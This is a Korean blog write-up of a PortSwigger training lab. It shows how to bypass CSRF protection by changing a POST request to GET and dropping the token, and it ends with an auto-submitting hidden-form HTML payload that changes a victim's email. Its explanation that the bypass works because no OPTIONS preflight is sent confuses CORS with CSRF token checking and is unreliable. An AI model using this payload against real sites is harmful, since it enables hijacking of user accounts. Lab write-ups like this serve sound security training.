https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method
Lab: CSRF where token validation depends on request method | Web Security Academy
This lab's email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests. To ...
portswigger.net
이전 문제와 같은 루틴이다.
하지만 버프 스위트로 잡아보면 좀 다른 것을 확인할 수 있다.
Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.
POST일 때는 검증하지만 GET일 때는 검증하지 않는다.
이번엔 email 뿐만 아니라 csrf 토큰이 포함되어 있다.
email=normal2%40normal.net&csrf=O3~~~~2uL
csrf 토큰을 우회할 수 있는 방법은 POST 메서드를 GET으로 바꾸는 것이다.
1.
버프스위트의 "change request method"를 이용해 POST에서 GET으로 바꾼다.
그리고 send 후 다시 myaccount에 들어가보면 이메일이 의도한대로 변경된 것을 확인할 수 있다.
2.
GET 으로 바꾼 상태에서 csrf 파라미터를 지우고 다시 send한다.
똑같이 302가 뜨며 제대로 변경된 것을 확인할 수 있다.
[**] 우회가 가능한 이유
content-type이 application/json일 때 브라우저가 OPTIONS HTTP 요청을 자동으로 전송하지만
GET 요청이거나 content-type이 applicatin/x-www-form-urlencoded인 경우 OPTIONS HTTP 요청을 자동으로 전송하지 않기 때문이다.
<html>
<body>
<iframe style="display: none" name="csrf-frame"></iframe>
<form method='GET' action="https://a----084.web-security-academy.net/my-account/change-email" target="csrf-frame" id="csrf-form">
<input type="hidden" name="email" value="attacker@attacker.net"/>
<input type="submit" value="submit">
</form>
<script>
document.getElementById("csrf-form").submit();
</script>
</body>
</html>
'정보보안 > 웹해킹' 카테고리의 다른 글
| [PortSwigger] CSRF where token is not tied to user session (0) | 2021.10.16 |
|---|---|
| [PortSwigger] CSRF where token validation depends on token being present (0) | 2021.10.16 |
| [PortSwigger] CSRF vulnerability with no defenses (0) | 2021.10.16 |
| HTTP 메서드 OPTIONS, HEAD (0) | 2021.10.07 |
| python pickle 취약점 (0) | 2021.10.05 |
댓글